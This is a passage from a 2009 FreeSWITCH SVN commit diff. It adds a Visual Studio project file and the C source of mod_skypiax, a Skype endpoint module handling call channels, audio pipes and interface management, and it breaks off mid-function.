+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="false"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalOptions="rpcrt4.lib "
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalOptions="rpcrt4.lib "
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath="..\mod_skypiax\mod_skypiax.c"
+			>
+		</File>
+		<File
+			RelativePath=".\skypiax.h"
+			>
+		</File>
+		<File
+			RelativePath=".\skypiax_protocol.c"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/mod_skypiax.c

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/mod_skypiax.c (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/mod_skypiax.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/mod_skypiax.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/mod_skypiax.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1948 @@
+/*
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthmct@yahoo.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * This module (mod_skypiax) has been contributed by:
+ *
+ * Giovanni Maruzzelli (gmaruzz@gmail.com)
+ *
+ *
+ * Further Contributors:
+ *
+ *
+ *
+ * mod_skypiax.c -- Skype compatible Endpoint Module
+ *
+ */
+
+#include "skypiax.h"
+
+#ifdef WIN32
+/***************/
+// from http://www.openasthra.com/c-tidbits/gettimeofday-function-for-windows/
+
+#include <time.h>
+
+#if defined(_MSC_VER) || defined(_MSC_EXTENSIONS)
+#define DELTA_EPOCH_IN_MICROSECS  11644473600000000Ui64
+#else /*  */
+#define DELTA_EPOCH_IN_MICROSECS  11644473600000000ULL
+#endif /*  */
+struct sk_timezone {
+	int tz_minuteswest;			/* minutes W of Greenwich */
+	int tz_dsttime;				/* type of dst correction */
+};
+int gettimeofday(struct timeval *tv, struct sk_timezone *tz)
+{
+	FILETIME ft;
+	unsigned __int64 tmpres = 0;
+	static int tzflag;
+	if (NULL != tv) {
+		GetSystemTimeAsFileTime(&ft);
+		tmpres |= ft.dwHighDateTime;
+		tmpres <<= 32;
+		tmpres |= ft.dwLowDateTime;
+
+		/*converting file time to unix epoch */
+		tmpres /= 10;			/*convert into microseconds */
+		tmpres -= DELTA_EPOCH_IN_MICROSECS;
+		tv->tv_sec = (long) (tmpres / 1000000UL);
+		tv->tv_usec = (long) (tmpres % 1000000UL);
+	}
+	if (NULL != tz) {
+		if (!tzflag) {
+			_tzset();
+			tzflag++;
+		}
+		tz->tz_minuteswest = _timezone / 60;
+		tz->tz_dsttime = _daylight;
+	}
+	return 0;
+}
+
+/***************/
+#endif /* WIN32 */
+SWITCH_MODULE_LOAD_FUNCTION(mod_skypiax_load);
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_skypiax_shutdown);
+SWITCH_MODULE_DEFINITION(mod_skypiax, mod_skypiax_load, mod_skypiax_shutdown, NULL);
+SWITCH_STANDARD_API(sk_function);
+/* BEGIN: Changes here */
+#define SK_SYNTAX "list [full] || console || skype_API_msg || remove < skypeusername | #interface_name | #interface_id > || reload"
+/* END: Changes heres */
+SWITCH_STANDARD_API(skypiax_function);
+#define SKYPIAX_SYNTAX "interface_name skype_API_msg"
+
+/* BEGIN: Changes here */
+#define FULL_RELOAD 0
+#define SOFT_RELOAD 1
+/* END: Changes heres */
+
+static struct {
+	int debug;
+	char *ip;
+	int port;
+	char *dialplan;
+	char *destination;
+	char *context;
+	char *codec_string;
+	char *codec_order[SWITCH_MAX_CODECS];
+	int codec_order_last;
+	char *codec_rates_string;
+	char *codec_rates[SWITCH_MAX_CODECS];
+	int codec_rates_last;
+	unsigned int flags;
+	int fd;
+	int calls;
+	int real_interfaces;
+	int next_interface;
+	char hold_music[256];
+	private_t SKYPIAX_INTERFACES[SKYPIAX_MAX_INTERFACES];
+	switch_mutex_t *mutex;
+	private_t *sk_console;
+} globals;
+
+switch_endpoint_interface_t *skypiax_endpoint_interface;
+switch_memory_pool_t *skypiax_module_pool = NULL;
+int running = 0;
+
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_dialplan, globals.dialplan);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_context, globals.context);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_destination, globals.destination);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_codec_string, globals.codec_string);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_codec_rates_string, globals.codec_rates_string);
+
+/* BEGIN: Changes here */
+static switch_status_t interface_exists(char *the_interface);
+static switch_status_t remove_interface(char *the_interface);
+/* END: Changes here */
+
+static switch_status_t channel_on_init(switch_core_session_t *session);
+static switch_status_t channel_on_hangup(switch_core_session_t *session);
+static switch_status_t channel_on_destroy(switch_core_session_t *session);
+static switch_status_t channel_on_routing(switch_core_session_t *session);
+static switch_status_t channel_on_exchange_media(switch_core_session_t *session);
+static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
+static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session,
+													switch_event_t *var_event,
+													switch_caller_profile_t *outbound_profile,
+													switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags);
+static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
+static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
+static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
+
+static switch_status_t skypiax_codec(private_t * tech_pvt, int sample_rate, int codec_ms)
+{
+	switch_core_session_t *session = NULL;
+
+	if (switch_core_codec_init
+		(&tech_pvt->read_codec, "L16", NULL, sample_rate, codec_ms, 1,
+		 SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
+		ERRORA("Can't load codec?\n", SKYPIAX_P_LOG);
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if (switch_core_codec_init
+		(&tech_pvt->write_codec, "L16", NULL, sample_rate, codec_ms, 1,
+		 SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
+		ERRORA("Can't load codec?\n", SKYPIAX_P_LOG);
+		switch_core_codec_destroy(&tech_pvt->read_codec);
+		return SWITCH_STATUS_FALSE;
+	}
+
+	tech_pvt->read_frame.rate = sample_rate;
+	tech_pvt->read_frame.codec = &tech_pvt->read_codec;
+
+	session = switch_core_session_locate(tech_pvt->session_uuid_str);
+
+	switch_core_session_set_read_codec(session, &tech_pvt->read_codec);
+	switch_core_session_set_write_codec(session, &tech_pvt->write_codec);
+
+	switch_core_session_rwunlock(session);
+
+	return SWITCH_STATUS_SUCCESS;
+
+}
+
+void skypiax_tech_init(private_t * tech_pvt, switch_core_session_t *session)
+{
+
+	tech_pvt->read_frame.data = tech_pvt->databuf;
+	tech_pvt->read_frame.buflen = sizeof(tech_pvt->databuf);
+	switch_mutex_init(&tech_pvt->mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+	switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+	switch_core_session_set_private(session, tech_pvt);
+	switch_copy_string(tech_pvt->session_uuid_str, switch_core_session_get_uuid(session), sizeof(tech_pvt->session_uuid_str));
+	if (skypiax_codec(tech_pvt, SAMPLERATE_SKYPIAX, 20) != SWITCH_STATUS_SUCCESS) {
+		ERRORA("skypiax_codec FAILED\n", SKYPIAX_P_LOG);
+	} else {
+		DEBUGA_SKYPE("skypiax_codec SUCCESS\n", SKYPIAX_P_LOG);
+	}
+
+}
+
+/* BEGIN: Changes here */
+static switch_status_t interface_exists(char *the_interface)
+{
+	int i;
+	int interface_id;
+
+	if (*the_interface == '#') {	/* look by interface id or interface name */
+		the_interface++;
+		switch_assert(the_interface);
+		interface_id = atoi(the_interface);
+
+		/* take a number as interface id */
+		if (interface_id > 0 || (interface_id == 0 && strcmp(the_interface, "0") == 0)) {
+			if (strlen(globals.SKYPIAX_INTERFACES[interface_id].name)) {
+				return SWITCH_STATUS_SUCCESS;
+			}
+		} else {
+			/* interface name */
+			for (interface_id = 0; interface_id < SKYPIAX_MAX_INTERFACES; interface_id++) {
+				if (strcmp(globals.SKYPIAX_INTERFACES[interface_id].name, the_interface) == 0) {
+					return SWITCH_STATUS_SUCCESS;
+					break;
+				}
+			}
+		}
+	} else {					/* look by skype_user */
+
+
+		for (i = 0; i < SKYPIAX_MAX_INTERFACES; i++) {
+			if (strlen(globals.SKYPIAX_INTERFACES[i].skype_user)) {
+				if (strcmp(globals.SKYPIAX_INTERFACES[i].skype_user, the_interface) == 0) {
+					return SWITCH_STATUS_SUCCESS;
+				}
+			}
+		}
+	}
+	return SWITCH_STATUS_FALSE;
+}
+
+static switch_status_t remove_interface(char *the_interface)
+{
+	int x = 10;
+	unsigned int howmany = 8;
+	int interface_id = -1;
+	private_t *tech_pvt = NULL;
+	switch_status_t status;
+
+	//running = 0;
+
+
+	if (*the_interface == '#') {	/* remove by interface id or interface name */
+		the_interface++;
+		switch_assert(the_interface);
+		interface_id = atoi(the_interface);
+
+		if (interface_id > 0 || (interface_id == 0 && strcmp(the_interface, "0") == 0)) {
+			/* take a number as interface id */
+			tech_pvt = &globals.SKYPIAX_INTERFACES[interface_id];
+		} else {
+
+			for (interface_id = 0; interface_id < SKYPIAX_MAX_INTERFACES; interface_id++) {
+				if (strcmp(globals.SKYPIAX_INTERFACES[interface_id].name, the_interface) == 0) {
+					tech_pvt = &globals.SKYPIAX_INTERFACES[interface_id];
+					break;
+				}
+			}
+		}
+	} else {					/* remove by skype_user */
+		for (interface_id = 0; interface_id < SKYPIAX_MAX_INTERFACES; interface_id++) {
+			if (strcmp(globals.SKYPIAX_INTERFACES[interface_id].skype_user, the_interface) == 0) {
+				tech_pvt = &globals.SKYPIAX_INTERFACES[interface_id];
+				break;
+			}
+		}
+	}
+
+	if (!tech_pvt) {
+		DEBUGA_SKYPE("interface '%s' does not exist\n", SKYPIAX_P_LOG, the_interface);
+		goto end;
+	}
+
+	if (strlen(globals.SKYPIAX_INTERFACES[interface_id].session_uuid_str)) {
+		DEBUGA_SKYPE("interface '%s' is busy\n", SKYPIAX_P_LOG, the_interface);
+		goto end;
+	}
+
+	globals.SKYPIAX_INTERFACES[interface_id].running = 0;
+
+	if (globals.SKYPIAX_INTERFACES[interface_id].skypiax_signaling_thread) {
+#ifdef WIN32
+		switch_file_write(tech_pvt->SkypiaxHandles.fdesc[1], "sciutati", &howmany);	// let's the controldev_thread die
+#else /* WIN32 */
+		howmany = write(tech_pvt->SkypiaxHandles.fdesc[1], "sciutati", howmany);
+#endif /* WIN32 */
+	}
+
+	if (globals.SKYPIAX_INTERFACES[interface_id].skypiax_api_thread) {
+#ifdef WIN32
+		if (SendMessage(tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle, WM_DESTROY, 0, 0) == FALSE) {	// let's the skypiax_api_thread_func die
+			DEBUGA_SKYPE("got FALSE here, thread probably was already dead. GetLastError returned: %d\n", SKYPIAX_P_LOG, GetLastError());
+			globals.SKYPIAX_INTERFACES[interface_id].skypiax_api_thread = NULL;
+		}
+#else
+		XEvent e;
+		Atom atom1 = XInternAtom(tech_pvt->SkypiaxHandles.disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
+		memset(&e, 0, sizeof(e));
+		e.xclient.type = ClientMessage;
+		e.xclient.message_type = atom1;	/*  leading message */
+		e.xclient.display = tech_pvt->SkypiaxHandles.disp;
+		e.xclient.window = tech_pvt->SkypiaxHandles.skype_win;
+		e.xclient.format = 8;
+
+		XSendEvent(tech_pvt->SkypiaxHandles.disp, tech_pvt->SkypiaxHandles.win, False, 0, &e);
+		XSync(tech_pvt->SkypiaxHandles.disp, False);
+#endif
+	}
+
+	while (x) {
+		x--;
+		switch_yield(50000);
+	}
+
+	if (globals.SKYPIAX_INTERFACES[interface_id].skypiax_signaling_thread) {
+		switch_thread_join(&status, globals.SKYPIAX_INTERFACES[interface_id].skypiax_signaling_thread);
+	}
+
+	if (globals.SKYPIAX_INTERFACES[interface_id].skypiax_api_thread) {
+		switch_thread_join(&status, globals.SKYPIAX_INTERFACES[interface_id].skypiax_api_thread);
+	}
+
+	switch_mutex_lock(globals.mutex);
+	if (globals.sk_console == &globals.SKYPIAX_INTERFACES[interface_id]) {
+		DEBUGA_SKYPE("interface '%s' no more console\n", SKYPIAX_P_LOG, the_interface);
+		globals.sk_console = NULL;
+	} else {
+		DEBUGA_SKYPE("interface '%s' STILL console\n", SKYPIAX_P_LOG, the_interface);
+	}
+	memset(&globals.SKYPIAX_INTERFACES[interface_id], '\0', sizeof(private_t));
+	globals.real_interfaces--;
+	switch_mutex_unlock(globals.mutex);
+
+	DEBUGA_SKYPE("interface '%s' deleted successfully\n", SKYPIAX_P_LOG, the_interface);
+	globals.SKYPIAX_INTERFACES[interface_id].running = 1;
+  end:
+	//running = 1;
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* END: Changes here */
+
+/* 
+   State methods they get called when the state changes to the specific state 
+   returning SWITCH_STATUS_SUCCESS tells the core to execute the standard state method next
+   so if you fully implement the state you can return SWITCH_STATUS_FALSE to skip it.
+*/
+static switch_status_t channel_on_init(switch_core_session_t *session)
+{
+	switch_channel_t *channel;
+	private_t *tech_pvt = NULL;
+
+	tech_pvt = switch_core_session_get_private(session);
+	switch_assert(tech_pvt != NULL);
+
+	channel = switch_core_session_get_channel(session);
+	switch_assert(channel != NULL);
+	switch_set_flag_locked(tech_pvt, TFLAG_IO);
+
+	/* Move channel's state machine to ROUTING. This means the call is trying
+	   to get from the initial start where the call because, to the point
+	   where a destination has been identified. If the channel is simply
+	   left in the initial state, nothing will happen. */
+	switch_channel_set_state(channel, CS_ROUTING);
+	switch_mutex_lock(globals.mutex);
+	globals.calls++;
+
+	switch_mutex_unlock(globals.mutex);
+
+	DEBUGA_SKYPE("%s CHANNEL INIT\n", SKYPIAX_P_LOG, switch_channel_get_name(channel));
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t channel_on_destroy(switch_core_session_t *session)
+{
+	private_t *tech_pvt = NULL;
+
+	tech_pvt = switch_core_session_get_private(session);
+
+	if (tech_pvt) {
+		if (switch_core_codec_ready(&tech_pvt->read_codec)) {
+			switch_core_codec_destroy(&tech_pvt->read_codec);
+		}
+
+		if (switch_core_codec_ready(&tech_pvt->write_codec)) {
+			switch_core_codec_destroy(&tech_pvt->write_codec);
+		}
+		switch_core_session_set_private(session, NULL);
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t channel_on_hangup(switch_core_session_t *session)
+{
+	switch_channel_t *channel = NULL;
+	private_t *tech_pvt = NULL;
+	char msg_to_skype[256];
+
+	channel = switch_core_session_get_channel(session);
+	switch_assert(channel != NULL);
+
+	tech_pvt = switch_core_session_get_private(session);
+	switch_assert(tech_pvt != NULL);
+
+	switch_clear_flag_locked(tech_pvt, TFLAG_IO);
+	switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+	//switch_set_flag_locked(tech_pvt, TFLAG_HANGUP);
+
+	if (strlen(tech_pvt->skype_call_id)) {
+		//switch_thread_cond_signal(tech_pvt->cond);
+		DEBUGA_SKYPE("hanging up skype call: %s\n", SKYPIAX_P_LOG, tech_pvt->skype_call_id);
+		sprintf(msg_to_skype, "ALTER CALL %s HANGUP", tech_pvt->skype_call_id);
+		skypiax_signaling_write(tech_pvt, msg_to_skype);
+	}
+	//memset(tech_pvt->session_uuid_str, '\0', sizeof(tech_pvt->session_uuid_str));
+	*tech_pvt->session_uuid_str = '\0';
+	DEBUGA_SKYPE("%s CHANNEL HANGUP\n", SKYPIAX_P_LOG, switch_channel_get_name(channel));
+	switch_mutex_lock(globals.mutex);
+	globals.calls--;
+	if (globals.calls < 0) {
+		globals.calls = 0;
+	}
+	switch_mutex_unlock(globals.mutex);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t channel_on_routing(switch_core_session_t *session)
+{
+	switch_channel_t *channel = NULL;
+	private_t *tech_pvt = NULL;
+
+	channel = switch_core_session_get_channel(session);
+	switch_assert(channel != NULL);
+
+	tech_pvt = switch_core_session_get_private(session);
+	switch_assert(tech_pvt != NULL);
+
+	DEBUGA_SKYPE("%s CHANNEL ROUTING\n", SKYPIAX_P_LOG, switch_channel_get_name(channel));
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t channel_on_execute(switch_core_session_t *session)
+{
+
+	switch_channel_t *channel = NULL;
+	private_t *tech_pvt = NULL;
+
+	channel = switch_core_session_get_channel(session);
+	switch_assert(channel != NULL);
+
+	tech_pvt = switch_core_session_get_private(session);
+	switch_assert(tech_pvt != NULL);
+
+	DEBUGA_SKYPE("%s CHANNEL EXECUTE\n", SKYPIAX_P_LOG, switch_channel_get_name(channel));
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig)
+{
+	switch_channel_t *channel = NULL;
+	private_t *tech_pvt = NULL;
+
+	channel = switch_core_session_get_channel(session);
+	switch_assert(channel != NULL);
+
+	tech_pvt = switch_core_session_get_private(session);
+	switch_assert(tech_pvt != NULL);
+
+	switch (sig) {
+	case SWITCH_SIG_KILL:
+		DEBUGA_SKYPE("%s CHANNEL got SWITCH_SIG_KILL\n", SKYPIAX_P_LOG, switch_channel_get_name(channel));
+		switch_clear_flag_locked(tech_pvt, TFLAG_IO);
+		switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+		switch_set_flag_locked(tech_pvt, TFLAG_HANGUP);
+		break;
+	case SWITCH_SIG_BREAK:
+		DEBUGA_SKYPE("%s CHANNEL got SWITCH_SIG_BREAK\n", SKYPIAX_P_LOG, switch_channel_get_name(channel));
+		switch_set_flag_locked(tech_pvt, TFLAG_BREAK);
+		break;
+	default:
+		break;
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t channel_on_exchange_media(switch_core_session_t *session)
+{
+	private_t *tech_pvt = NULL;
+	DEBUGA_SKYPE("CHANNEL LOOPBACK\n", SKYPIAX_P_LOG);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t channel_on_soft_execute(switch_core_session_t *session)
+{
+	private_t *tech_pvt = NULL;
+	DEBUGA_SKYPE("CHANNEL TRANSMIT\n", SKYPIAX_P_LOG);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t channel_send_dtmf(switch_core_session_t *session, const switch_dtmf_t *dtmf)
+{
+	private_t *tech_pvt = switch_core_session_get_private(session);
+	switch_assert(tech_pvt != NULL);
+
+	DEBUGA_SKYPE("DTMF: %c\n", SKYPIAX_P_LOG, dtmf->digit);
+
+	skypiax_senddigit(tech_pvt, dtmf->digit);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id)
+{
+	switch_channel_t *channel = NULL;
+	private_t *tech_pvt = NULL;
+	switch_byte_t *data;
+
+	channel = switch_core_session_get_channel(session);
+	switch_assert(channel != NULL);
+
+	tech_pvt = switch_core_session_get_private(session);
+	switch_assert(tech_pvt != NULL);
+
+	if (!switch_channel_ready(channel) || !switch_test_flag(tech_pvt, TFLAG_IO)) {
+		ERRORA("CIAPA \n", SKYPIAX_P_LOG);
+		return SWITCH_STATUS_FALSE;
+	}
+
+	tech_pvt->read_frame.flags = SFF_NONE;
+	*frame = NULL;
+
+	if (!skypiax_audio_read(tech_pvt)) {
+
+		ERRORA("skypiax_audio_read ERROR\n", SKYPIAX_P_LOG);
+
+	} else {
+		switch_set_flag_locked(tech_pvt, TFLAG_VOICE);
+	}
+
+	while (switch_test_flag(tech_pvt, TFLAG_IO)) {
+		if (switch_test_flag(tech_pvt, TFLAG_BREAK)) {
+			switch_clear_flag(tech_pvt, TFLAG_BREAK);
+			DEBUGA_SKYPE("CHANNEL READ FRAME goto CNG\n", SKYPIAX_P_LOG);
+			goto cng;
+		}
+
+		if (!switch_test_flag(tech_pvt, TFLAG_IO)) {
+			DEBUGA_SKYPE("CHANNEL READ FRAME not IO\n", SKYPIAX_P_LOG);
+			return SWITCH_STATUS_FALSE;
+		}
+
+		if (switch_test_flag(tech_pvt, TFLAG_IO) && switch_test_flag(tech_pvt, TFLAG_VOICE)) {
+			switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+			if (!tech_pvt->read_frame.datalen) {
+				DEBUGA_SKYPE("CHANNEL READ CONTINUE\n", SKYPIAX_P_LOG);
+				continue;
+			}
+			*frame = &tech_pvt->read_frame;
+#ifdef BIGENDIAN
+			if (switch_test_flag(tech_pvt, TFLAG_LINEAR)) {
+				switch_swap_linear((*frame)->data, (int) (*frame)->datalen / 2);
+			}
+#endif
+			return SWITCH_STATUS_SUCCESS;
+		}
+
+		DEBUGA_SKYPE("CHANNEL READ no TFLAG_IO\n", SKYPIAX_P_LOG);
+		return SWITCH_STATUS_FALSE;
+
+	}
+
+	DEBUGA_SKYPE("CHANNEL READ FALSE\n", SKYPIAX_P_LOG);
+	return SWITCH_STATUS_FALSE;
+
+  cng:
+	data = (switch_byte_t *) tech_pvt->read_frame.data;
+	data[0] = 65;
+	data[1] = 0;
+	tech_pvt->read_frame.datalen = 2;
+	tech_pvt->read_frame.flags = SFF_CNG;
+	*frame = &tech_pvt->read_frame;
+	return SWITCH_STATUS_SUCCESS;
+
+}
+
+static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id)
+{
+	switch_channel_t *channel = NULL;
+	private_t *tech_pvt = NULL;
+	unsigned int sent;
+
+	channel = switch_core_session_get_channel(session);
+	switch_assert(channel != NULL);
+
+	tech_pvt = switch_core_session_get_private(session);
+	switch_assert(tech_pvt != NULL);
+
+	if (!switch_channel_ready(channel) || !switch_test_flag(tech_pvt, TFLAG_IO)) {
+		ERRORA("CIAPA \n", SKYPIAX_P_LOG);
+		return SWITCH_STATUS_FALSE;
+	}
+#ifdef BIGENDIAN
+	if (switch_test_flag(tech_pvt, TFLAG_LINEAR)) {
+		switch_swap_linear(frame->data, (int) frame->datalen / 2);
+	}
+#endif
+
+	sent = frame->datalen;
+#ifdef WIN32
+	switch_file_write(tech_pvt->audioskypepipe[1], frame->data, &sent);
+#else /* WIN32 */
+	sent = write(tech_pvt->audioskypepipe[1], frame->data, sent);
+#endif /* WIN32 */
+	if (sent != frame->datalen && sent != -1) {
+		DEBUGA_SKYPE("CLI PIPE write %d\n", SKYPIAX_P_LOG, sent);
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t channel_answer_channel(switch_core_session_t *session)
+{
+	private_t *tech_pvt;
+	switch_channel_t *channel = NULL;
+
+	channel = switch_core_session_get_channel(session);
+	switch_assert(channel != NULL);
+
+	tech_pvt = switch_core_session_get_private(session);
+	switch_assert(tech_pvt != NULL);
+
+	DEBUGA_SKYPE("ANSWERED! \n", SKYPIAX_P_LOG);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t channel_receive_message(switch_core_session_t *session, switch_core_session_message_t *msg)
+{
+	switch_channel_t *channel;
+	private_t *tech_pvt;
+
+	channel = switch_core_session_get_channel(session);
+	switch_assert(channel != NULL);
+
+	tech_pvt = (private_t *) switch_core_session_get_private(session);
+	switch_assert(tech_pvt != NULL);
+
+	switch (msg->message_id) {
+	case SWITCH_MESSAGE_INDICATE_ANSWER:
+		{
+			DEBUGA_SKYPE("MSG_ID=%d, TO BE ANSWERED!\n", SKYPIAX_P_LOG, msg->message_id);
+			channel_answer_channel(session);
+		}
+		break;
+	default:
+		{
+			DEBUGA_SKYPE("MSG_ID=%d\n", SKYPIAX_P_LOG, msg->message_id);
+		}
+		break;
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t channel_receive_event(switch_core_session_t *session, switch_event_t *event)
+{
+	struct private_object *tech_pvt = switch_core_session_get_private(session);
+	char *body = switch_event_get_body(event);
+	switch_assert(tech_pvt != NULL);
+
+	if (!body) {
+		body = "";
+	}
+
+	WARNINGA("event: |||%s|||\n", SKYPIAX_P_LOG, body);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+switch_state_handler_table_t skypiax_state_handlers = {
+	/*.on_init */ channel_on_init,
+	/*.on_routing */ channel_on_routing,
+	/*.on_execute */ channel_on_execute,
+	/*.on_hangup */ channel_on_hangup,
+	/*.on_exchange_media */ channel_on_exchange_media,
+	/*.on_soft_execute */ channel_on_soft_execute,
+	/*.on_consume_media */ NULL,
+	/*.on_hibernate */ NULL,
+	/*.on_reset */ NULL,
+	/*.on_park */ NULL,
+	/*.on_reporting */ NULL,
+	/*.on_destroy */ channel_on_destroy
+};
+
+switch_io_routines_t skypiax_io_routines = {
+	/*.outgoing_channel */ channel_outgoing_channel,
+	/*.read_frame */ channel_read_frame,
+	/*.write_frame */ channel_write_frame,
+	/*.kill_channel */ channel_kill_channel,
+	/*.send_dtmf */ channel_send_dtmf,
+	/*.receive_message */ channel_receive_message,
+	/*.receive_event */ channel_receive_event
+};
+
+static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session,
+													switch_event_t *var_event,
+													switch_caller_profile_t *outbound_profile,
+													switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags)
+{
+	if ((*new_session = switch_core_session_request(skypiax_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
+		private_t *tech_pvt = NULL;
+		switch_channel_t *channel;
+		switch_caller_profile_t *caller_profile;
+		char *rdest;
+		int found = 0;
+		char interface_name[256];
+
+		switch_core_session_add_stream(*new_session, NULL);
+
+
+		if (!switch_strlen_zero(outbound_profile->destination_number)) {
+			int i;
+			char *slash;
+
+			switch_copy_string(interface_name, outbound_profile->destination_number, 255);
+			slash = strrchr(interface_name, '/');
+			*slash = '\0';
+
+			switch_mutex_lock(globals.mutex);
+			if (strncmp("ANY", interface_name, strlen(interface_name)) == 0) {
+				/* we've been asked for the "ANY" interface, let's find the first idle interface */
+				DEBUGA_SKYPE("Finding one available skype interface\n", SKYPIAX_P_LOG);
